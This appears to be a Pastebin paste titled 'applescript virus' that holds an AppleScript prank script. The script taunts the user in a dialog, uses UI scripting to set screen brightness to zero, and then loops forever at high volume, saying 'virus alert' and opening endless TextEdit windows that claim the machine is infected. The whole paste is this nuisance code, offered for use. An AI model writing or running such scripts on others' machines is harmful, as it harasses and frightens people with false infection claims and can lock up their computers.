Advertisement
Guest User

applescript virus

a guest
Mar 27th, 2018
378
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. tell application "Finder" to sleep
  2. display dialog "Hello, my name is Jose. I am going to mess with your computer." buttons {"You're an idiot!", "I bet you can't"} default button 2
  3. if the button returned of the result is "You're an idiot!" then
  4.    tell application "System Preferences"
  5.       activate
  6.       set current pane to pane "com.apple.preference.displays"
  7.    end tell
  8.    
  9.    tell application "System Events"
  10.       tell process "System Preferences"
  11.          tell slider 1 of group 2 of tab group 1 of window 1
  12.             set value to 0.0
  13.          end tell
  14.       end tell
  15.    end tell
  16.    
  17.    tell application "System Preferences" to quit
  18.    
  19.    repeat
  20.       set volume 16
  21.       say "virus alert"
  22.       tell application "TextEdit"
  23.          activate
  24.          make new document
  25.          set the name of the front window to "hahahaha"
  26.          set the text of the front document to "Neener Neener! You have been infected!"
  27.       end tell
  28.    end repeat
  29.    set volume 16
  30.    say "uploading virus"
  31.    say "virus upload complete"
  32.    
  33. else
  34.    tell application "System Preferences"
  35.       activate
  36.       set current pane to pane "com.apple.preference.displays"
  37.    end tell
  38.    
  39.    tell application "System Events"
  40.       tell process "System Preferences"
  41.          tell slider 1 of group 2 of tab group 1 of window 1
  42.             set value to 0.0
  43.          end tell
  44.       end tell
  45.    end tell
  46.    
  47.    tell application "System Preferences" to quit
  48. end if
  49. repeat
  50.    set volume 16
  51.    say "virus alert"
  52.    tell application "TextEdit"
  53.      
  54.       make new document
  55.       set the name of the front window to "hahahaha"
  56.       set the text of the front document to "Neener Neener! You have been infected!"
  57.    end tell
  58. end repeat
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement